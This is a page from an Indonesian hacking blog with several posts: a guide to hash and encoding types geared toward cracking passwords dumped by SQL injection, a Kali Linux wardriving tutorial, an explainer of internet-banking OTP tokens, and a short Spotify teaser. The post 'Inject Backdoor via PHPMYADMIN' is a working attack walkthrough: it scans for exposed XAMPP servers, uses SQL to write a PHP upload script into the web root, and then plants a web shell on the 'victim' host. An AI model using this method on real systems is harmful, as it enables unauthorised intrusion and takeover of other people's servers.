Showing posts with label Tips and Tricks. Show all posts
Showing posts with label Tips and Tricks. Show all posts

Thursday, November 16, 2017

Mengenal tentang Enkripsi, Hash, dan Encode


Oke, artikel ini gua buat untuk membantu kawan-kawan semua yang bingung untuk mengenalis jenis-jenis hash password yang biasanya kita temukan saat kita men-dump sebuah data hasil "SQL Injection" ataupun menjelajahi isi dari databasenya sebuah website. Tentu saja, seiring berkembangannya dan Majunya teknologi, Semua data yang bersifat sensitif ataupun data rahasia/privasi yang seharusnya dilindungi pasti tidak mudah untuk mendapatkannya begitu saja. Walaupun sudah kita dapatkan, namun pastinya data itu di enkripsi dengan bahasa-bahasa/tulisan aneh yang sebelumnya tidak kita kenali jenis apa ini.
Oke mari kita ke pokok bahasan.
Hash berkaitan erat dengan Enkripsi. Tentunya Hash dan Enkripsi memiliki pengertian berbeda. Mari kita simak.

Apakah sebenarnya yang dimaksud Hash itu Sendiri?
- Hash adalah hasil enkripsi dari sebuah password atau informasi yang dianggap penting.

Lalu, apa enkripsi itu?
- Enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus ( http://id.wikipedia.org/wiki/Enkripsi ).

Ada beberapa tipe hash diantaranya: 
1. MD4 (Message-Digest algortihm 4)
– MD4 dibuat oleh Ronald Rivest pada Oktober 1990, MD4 adalah hash function yang dipakai sebelum MD5, namun karena banyaknya kelemahan MD4 membuatnya diganti oleh MD5.
– panjang 16 bytes (32 karakter)
– contoh : 31d6cfe0d16ae931b73c59d7e0c089c0

2. MD5 (Message-Digest algortihm 5)
– MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996 (http://id.wikipedia.org/wiki/MD5)
– digunakan di phpBB v2.x, Joomla versi dibawah 1.0.13 dan digunakan oleh beberapa CMS dan forum
– panjangnya 16 bytes (32 karakter)
– contoh : c4ca4238a0b923820dcc509a6f75849b

3. MD5($pass.$salt)
– Digunakan di WB News, Joomla versi 1.0.13 dan versi diatasnya
– panjang 16 bytes (32 karakter)
– hash yang satu ini dimulai dari hashnya duluan kemudian dilanjutkan oleh saltnya
– contoh : 6f04f0d75f6870858bae14ac0b6d9f73

4. MD5($salt.$pass)
– Digunakan di osCommerce, AEF, Gallery dan beberapa CMS lainnya
– panjang 16 bytes (32 karakter)
– hash yang satu ini dimulai dari saltnya duluan kemudian dilanjutkan oleh hashnya
– contoh : f190ce9ac8445d249747cab7be43f7d

5. Md5(md5($pass).$salt)
– Digunakan di vBulletin, IceBB dan cms lainnya
– panjang 16 bytes (32 karakter)
– contoh : 6011527690eddca23580955c216b1fd2

6. MD5(WordPress)
– Digunakan di wordpress
– panjangnya 17 bytes (34 karakter)
– hashnya dimulai oleh tanda $P$ kemudian dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah huruf “B”)
kemudian dilanjutkan oleh saltnya (8 karakter yg disusun secara acak, dalam contoh ini saltnya adalah “12345678″) lalu dilanjutkan oleh hashnya
– contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01

7. MD5(phpBB3)
– Digunakan di CMS phpBB 3.x.x
– panjangnya 17 bytes (34 karakter)
– hashnya oleh tanda $H$ lalu dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah nomor “9″), kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) kemudian dilanjutkan oleh hashnya
– contoh : $H$9123456785DAERgALpsri.D9z3ht120

8. SHA-1(Secure Hash Algorithm)
– Diciptakan oleh National Institue of Standars and Technology atau U.S. Federal Information Processing Standard digunakan oleh beberapa CMS dan beberapa forum
– panjangnya 20 bytes (40 karakter)
– contoh : 356a192b7913b04c54574d18c28d46e6395428ab

9. SHA-256(Secure Hash Algorithm)
– hashnya dimulai oleh tanda $5$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
– panjang 55 karakter
– contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi…

10. SHA-512(Secure Hash Algorithm)
– hashnya dimulai oleh tanda $6$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
– panjang 98 karakter
– contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm…
Berikut adalah contoh dari sekian banyaknya HASH, dalam prosesnya HASH merupakan "One Way Hash" / Hash satu arah, jika sebuah plain-text atau text biasa sudah di Hash, maka untuk mengembalikannya, kita tidak bisa menggunakan sebuah fungsi. Jadi saat sebuah data sudah di Hash, maka hasil plain-text nya tidak dapat kita kembalikan, kecuali kita "Sendiri" tau, data apa yang di hash tadi.
Lalu Bagaimana sebuah website seperti (www.hashkiller.co.uk) bisa men-decrypt / memecahkan Hasil Hash MD5/lainnya, menjadi plain-text biasa?
Website penyedia decrypter online, memiliki sebuah database hasil Hash didalamnya, artinya. Ketika kita menginputkan sebuah Password Hash MD5, website ini nantinya akan mencocokan data apa yang sesuai dengan Hash tadi. Jika datanya cocok, maka akan di informasikan melalui Ouput, bahwa HASH xxxxx, berisi text "ANU". Data ini sudah disiapkan dalam database website penyedia decrypter Online tersebut.
Bisa Melalui cara "Brute Force" namun akan sangat lama, bahkan berhari-hari, untuk mencocokannya. 
Oke Selanjutnya, kita ke "Encode".
Apa itu Encode?
- Encode tidak termasuk kedalam Hash ataupun Enkripsi.
- Encode merupakan suatu Perkara perubahan format / bentuk data. Tujuannya pun sama, mengubah sebuah plain-text biasa, menjadi rangkain code (bahasa aneh).

Yang membedakan Hash dengan Encode adalah dalam prosesnya, Sebuah Text yang ter-Encode, bisa dapat kita kembalikan lagi seperti semua dengan sebuah fungsi tertentu dalam setiap bahasa pemrograman. Contohnya:

Text: Agus Setya R
Base64: QWd1cyBTZXR5YSBS → (Encode dengan fungsi php , base64_encode("Agus Setya R") )
Base64: aW5kb3hwbG9pdA==
Text: indoxploit -> (Decode dengan fungsi php, base64_decode("aW5kb3hwbG9pdA==") )
Artinya, sebuah Encode dapat kita kembalikan (decode) menggunakan sebuah fungsi bahasa program yang telah disediakan. Beda dengan Hash yang tidak dapat dikembalikan seperti semula menggunakan fungsi.
Berikut merupakan contoh dari Encode (link menuju kepada PHP Function):
1. base32
2. base64
3. str_rot13
4. gzdeflate 
Untuk Encode dan Decode anda dapat mempelajarinya sendiri, karena pada masing-masing bahasa program penulisan fungsi dari encode dan decodenya berbeda-beda. Namun, hasilnya akan tetap sama.
Tambahan: https://drive.google.com/file/d/0B8QQwW_htu38ckUxUkNWQlJmWU0/view (Hash Algorithm Linux Password), bagi kalian yang ingin tau dan mengenal bagaimana linux men-Hash password kita.

Oke , sekian dulu bahasan dari saya.
Semoga menambah ilmu, dan yang pasti jangan malas untuk membaca :D, Ilmu itu mahal kawan hahaha, selagi ada manfaatkan lah yang gratis....

Artikel ini diolah dari sumber: http://www.binushacker.net/tipe-tipe-hash-enkripsi.html Lalu selebihnya, kita kembangankan agar menarik di baca....

Wednesday, May 24, 2017

How to WarDriving with KALI LINUX 2.0 & ANDROID Smartphone


Kesempatan kali ini saya mau share cara melakukan WARDRIVING menggunakan KALI LINUX 2.0 dan ANDROID SMARTPHONE.

1. Bahan yang dibutuhkan untuk melakukan war driving yaitu:
  • Laptop dengan OS KALI LINUX 2.0
  • USB Wireless Adapter support monitoring n injection (ane pake Alfa AWUS036NHA)
  • Smartphone Android (ane pakai Samsung Galaxy S5)

2. Jangan lupa untuk menginstall BlueNMEA pada sistem android anda, bisa di cari di google playstore gratissss...

3. setelah itu pada terminal install beberapa aplikasi dibawah ini:
  • gpsd
  • gpsd-clients
  • android-sdk
~# apt-get update && apt-get install android-sdk gpsd gpsd-clients
4. Langkah selanjutnya adalah hubungkan smartphone dan usb wireless ke laptop, aktiftan USB DEBUGGING MODE pada smartphone, aktifkan tethering android serta jalankan aplikasi blueNMEA yang telah terinstal tadi

5. Kemudian pada terminal ketik kode dibawah ini untuk menginstall adb yaitu android debug bridge
 ~# android
Kemudian akan terbuka jendela android SDK manager, pilih/centang Android SDK Tools dan Android SDK Platforms Tools. klik updates dan klik install.


6. Setelah terinstall kita jalankan adb tadi dengan mengetik kode dibawah ini:
~# cd /usr/share/android-sdk/platform-tools/
~# ./adb devices
~# ./adb forward tcp:4352 tcp:4352  
  
7. Setelahnya jangan lupa untuk mengaktifkan mode monitoring wireless adapter kita yaitu dengan mengetik kode dibawah ini:
~# airmon-ng check kill
~# airmon-ng start wlan1 
(wlan1 karena menggunakan wireless adapter usb, wlan0 adalah wireless adaptor laptop)


8. Kemudian jalankan gpsd untuk menshare gps android sistem dengan sistem kali linux 2.0 yang kita miliki, dengan menggunakan kode dibawah ini:
~# service gpsd stop
~# gpsd -N -n -D 5 tcp://localhost:4352
Jika berhasil maka pada terminal akan tampak seperti dibawah ini:


Dan pada smart phone android akan tampak seperti dibawah ini:


9. Langkah selanjutnya adalah menjalankan kismet pada terminal baru untuk menangkap sinyal wifi, dengan menggunakan kode dibawah ini:
~# kismet
Setelah berjalan akan tampak seperti gambar dibawah ini, garis merah menandakan gps terhubung dengan kali linux 2.0 kita


10. Setelah itu kita bisa melakukan wardriving dengan kendaraan roda empat. Karena saya belom ada mobil jadi hanya dilakukan ditempat 

11. setelah selesai melakukan wardriving maka langkah selanjutnya adalah membaca hasil dari wardrving yang telah dilakukan.
Pertama : matikan kismet dan gpsd dengan menekan CTRL-C
Kedua : melihat hasil capture dari kismet, file yang akan digunakan adalah file berekstensi .netxml
Ketiga : mengubah file ekstensi .netxml ke file ekstensi .kml agar bisa terbaca pada google earth. caranya adalah
~# ls
~# giskismet -x Kismet-20151118-16-18-34-1.netxml
~# giskismet -q "select * from wireless" -o tutor1.kml
hasil diatas akan tampak seperti gambar dibawah ini:


kemudian buka folder home dan copy-paste tutor1.kml untuk dibuka di google earth.


karena di linux belum terintall google earth maka ane buka lewat smart phone ane dan hasilnya tampak seperti gambar dibawah ini:


Keterangan warna :
  1. Merah bahwa AP tidak terenkripsi
  2. Orange bahwa AP terenkripsi dengan WEP
  3. Hijau bahwa AP terenkripsi dengan WPA/WPA2
Sekian Tutorial dari saya maaf kalo sedikit berantakan
Semoga Bermanfaat...
Thanks.

Inject Backdoor via PHPMYADMIN


Pertama saya ingin memberikan keterangan apa itu Backdoor, karena kita akan membahas seputar Backdoor untuk menggunakan tutorial dibawah ini.

Backdoor pada awalnya dibuat oleh para programer komputer sebagai mekanisme yang mengizinkan mereka untuk memperoleh akses khusus ke dalam program mereka, seringnya digunakan untuk membenarkan dan memperbaiki kode di dalam program yang mereka buat ketika sebuah crash akibat bug terjadi.

Oke singkat cerita kita akan langsung masuk inti penjelasannya, yang sesuai judul. Peralatan tambahan yang digunakann :

  • Angry Ip Scanner
  • Sedikit Script
  • Shell Backdoor (Disini ane menggunkana shell 3CArmy)
Pertama kita cari dulu targetnya menggunakan Anggry Ip Scanner, Set Anggry Ip Scannernya seperti gambar di bawah ini :
Menu tools  >>> Preferences >> Pada tab port tambahkan port yg akan kita scan
berhubung server pada localhost biasanya menggunakan port 80 / 8080 maka settingan punya sendiri dibuat begini :


Kemudian pada tab display pilih yang host with open port only


Selanjutnya balik lagi pada menu tool >>>  Fetchers
Pindahkan web detect ke sebelah kiri seperti di gambar


oke , untuk setingan Anggry Ip Scanner nya selesai ... 
Selanjutnya sebagai dasar untuk scann, disini ane menggunakan IP ane sendiri , misal IP ane 192.168.52.100 maka pada Angry Ip Scanner ane buat jadi seperti ini :


kemudian scan dan cari yg seperti ini :


yap .. yang port apachenya open tentunya , karna dari situlah kita masuk 

NB : Tidak semua juga yang bisa , ada yg phpmyadminnya di password , ada yg memang hanya bisa di akses dari localhost/pc korban itu sendiri ( xampp terbaru kalo gak salah )

setelah mendapatkan target, buka ip target tersebut di web browser, maka kita akan masuk ke halaman awal web servernya ( xampp, appserv, etc )


oke , disini kita mulai bermain dengan comand sql nya ...
Pertama kita buat database baru untuk tempat backdoor yang akan kita masukkan
create database userform

NB : userform adalah nama database yang dibuat

Kemudian kita buat tabel dan collumnya dengan cara klik pada database yang sudah kita buat kemudian pilih SQL dan masukkan comand :
CREATE TABLE `userform`.`user` (
`form` longtext not null
) ENGINE = MYISAM ;
klik Go

NB: userform = nama database , user = nama tabel , form = nama column ( silahkan buat sesuka anda ), longtext = jenis data ( ane buat longtext karna script uploadnya lumayan panjang)

selanjutnya kita cek basedir nya dimana dengan comand :
select @@datadir
pada contoh ini ada di C:\xampp\mysql\data\



artinya target menggunkan xampp , dan dir xampp biasanya di : C:/xampp/htdocs
oke .. selanjutnya masih di tabel user, klik SQL dan masukkan script di bawah ini :
INSERT INTO `userform`.`user` (
`form`
)
VALUES (
'<title>Upload File</title>
<style type="text/css">
<!--
body,td,th {
color: #0F0;
}
body {
background-color: #999;
}
-->
</style><p>
<form method="POST" action="" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<p>
<strong>
<?php
if ($_FILES[''file''] != '''') {
copy($_FILES[''file''][''tmp_name''], $_FILES[''file''][''name'']) or die (''Proses upload Gagal: '');
}else {
die(''Silahkan pilih file'');
}
?>
File berhasil diupload:<br />
Keterangan File:<br />
Nama File: <?php echo $_FILES[''file''][''name'']; ?><br />
Ukuran File: <?php echo $_FILES[''file''][''size''];?> Bytes <br />
Jenis File: <?php echo $_FILES[''file''][''type'']; ?></strong></p>
'
);
itu adalah script buat ngupload file backdoor kita nantinya ...

Jika sukses maka akan muncul seperti ini :


Next Step masih di tabel user, buka lagi comand SQL dan masukkan comand :
select * into dumpfile 'C:/xampp/htdocs/upload.php' from user
NB: 
C:/xampp/htdocs/ = dir xampp ( karna korban menggunakan xampp pada tutorial ini )
upload.php = nama file untuk script upload yg kita masukkan tadi pada langkah sebelumnya
from user = from (nama tabel)

Kemudian klik Go

Coba buka urlnya : victimip/upload.php
terahir silahkan upload shell anda , untuk akses shell : victimip/namashell.php

Maaf untuk beberapa step terakhir gak ada gambarnya dikarenakan target udah offline. Jadi hal ini hanya bisa dilakukan selama target online dan menjalankan server apachenya...

Saturday, April 8, 2017

Memahami Cara Kerja Token Internet Banking


Token atau Access Token, dalam arsitektur Windows NT adalah sebuah objek sistem operasi (yang diberi nama "Token") yang merepresentasikan subjek dalam beberapa operasi pengaturan akses (access control). Objek Token umumnya dibuat oleh layanan logon (logon service) untuk merepresentasikan informasi keamanan yang diketahui mengenai sebuah pengguna yang lolos proses autentikasi (authenticated user). Objek token digunakan oleh komponen sistem operasi Windows NT yang menangani masalah keamanan, yaitu Security Reference Monitor (SRM).

Authentication Method
Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

1. Something You Know
Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.

2. Something You Have
Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.

3. Something You Are
Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication
Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking
Pada umumnya ada dua mode pemakaian token internet banking:

1. Mode Challenge/Response (C/R)
Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.

2. Mode Self Generated (Response Only)
Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

1. Hanya boleh dipakai 1 kali
Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.

2. Hanya boleh dipakai dalam rentang waktu yang terbatas
Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.

3. Hanya boleh dipakai dalam konteks sempit
Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:
  • Selalu berubah-ubah secara periodik
  • Memiliki umur yang singkat
  • Hanya bisa dipakai 1 kali
Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.
Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:
password yang dikirimkan client = password yang disimpan di server
Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.


Penggunaan Salt
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
----------------------------------------------------------------------------------
| Username    |   Salt         |                         Password Hash                 |
----------------------------------------------------------------------------------
| budi             |  81090273 |    894240dbe3d2b546c05a1a8e9e0df1bc|
----------------------------------------------------------------------------------
Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking
Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)
Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

- Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
- Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
- Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

1. Detik ketika server meminta password (OTP) dari user
2. Detik ketika token membangkitkan OTP
3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.


Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP
Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response
Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.


Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

Friday, February 10, 2017

Cara Pintar Memaksimalkan Spotify


Layanan streaming musik Spotify sudah bisa dinikmati di Indonesia. Namun untuk memaksimalkan penggunaan ada beberapa trik yang harus dilakukan. Apa saja?

